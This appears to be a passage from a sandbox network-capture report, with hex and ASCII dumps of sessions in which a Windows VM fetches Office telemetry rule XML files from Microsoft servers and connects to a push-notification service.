6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-164f84587bfbvgrghC1DFWbs7w000000042g00000000ctut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 9d36fa3e-201e-00aa-2ec7-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-164f84587bft9l9khC1DFW32rc0000000470000000006rtk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-16547b76f7fjx5nrhC1DFW4dsc00000001cg000000007fc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: ebe65da0-001e-0014-21b1-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-164f84587bffvwt9hC1DFW2ktw000000022g000000000wpn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49811	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 45 70 55 58 30 72 75 58 58 6b 71 73 68 2b 51 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 31 32 39 39 62 34 63 65 35 30 62 30 33 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: EpUX0ruXXkqsh+Q6.1Context: d11299b4ce50b03f
2024-11-17 11:35:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 11:35:30 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 45 70 55 58 30 72 75 58 58 6b 71 73 68 2b 51 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 31 32 39 39 62 34 63 65 35 30 62 30 33 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 57 79 7a 2b 6c 71 76 39 42 75 33 44 30 2f 5a 39 39 31 68 39 79 32 73 62 52 72 6c 36 77 39 72 7a 6f 65 54 58 6d 51 68 61 36 32 51 37 30 62 6f 39 34 2b 51 36 59 6b 76 6a 4c 6a 4a 36 2f 41 7a 2b 2f 47 59 2f 6e 6a 66 44 35 6e 48 65 7a 77 41 62 48 35 53 71 71 46 4f 37 6e 51 50 6f 70 6a 32 51 32 6b 70 73 79 45 64 72 6d 4e 44 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: EpUX0ruXXkqsh+Q6.2Context: d11299b4ce50b03f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARWyz+lqv9Bu3D0/Z991h9y2sbRrl6w9rzoeTXmQha62Q70bo94+Q6YkvjLjJ6/Az+/GY/njfD5nHezwAbH5SqqFO7nQPopj2Q2kpsyEdrmNDZ
2024-11-17 11:35:30 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 45 70 55 58 30 72 75 58 58 6b 71 73 68 2b 51 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 31 32 39 39 62 34 63 65 35 30 62 30 33 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: EpUX0ruXXkqsh+Q6.3Context: d11299b4ce50b03f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 11:35:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 11:35:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 42 4f 4c 36 37 66 4e 46 6b 4b 47 76 46 74 71 6e 6d 4e 4d 6c 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TBOL67fNFkKGvFtqnmNMlA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-16547b76f7fgvq8chC1DFWhd2w00000004t00000000086vp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-16547b76f7fht2hfhC1DFWbngg00000004r0000000001d61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 398e56de-301e-001f-6c81-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-164f84587bf6n6jwhC1DFW90fn00000003h0000000000s0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-1866b5c5fbbkbjq9hC1DFWf1es000000032g00000000b3an x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5f02778f-801e-0048-0e9a-37f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-164f84587bf5rpzqhC1DFWmra80000000490000000004nya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
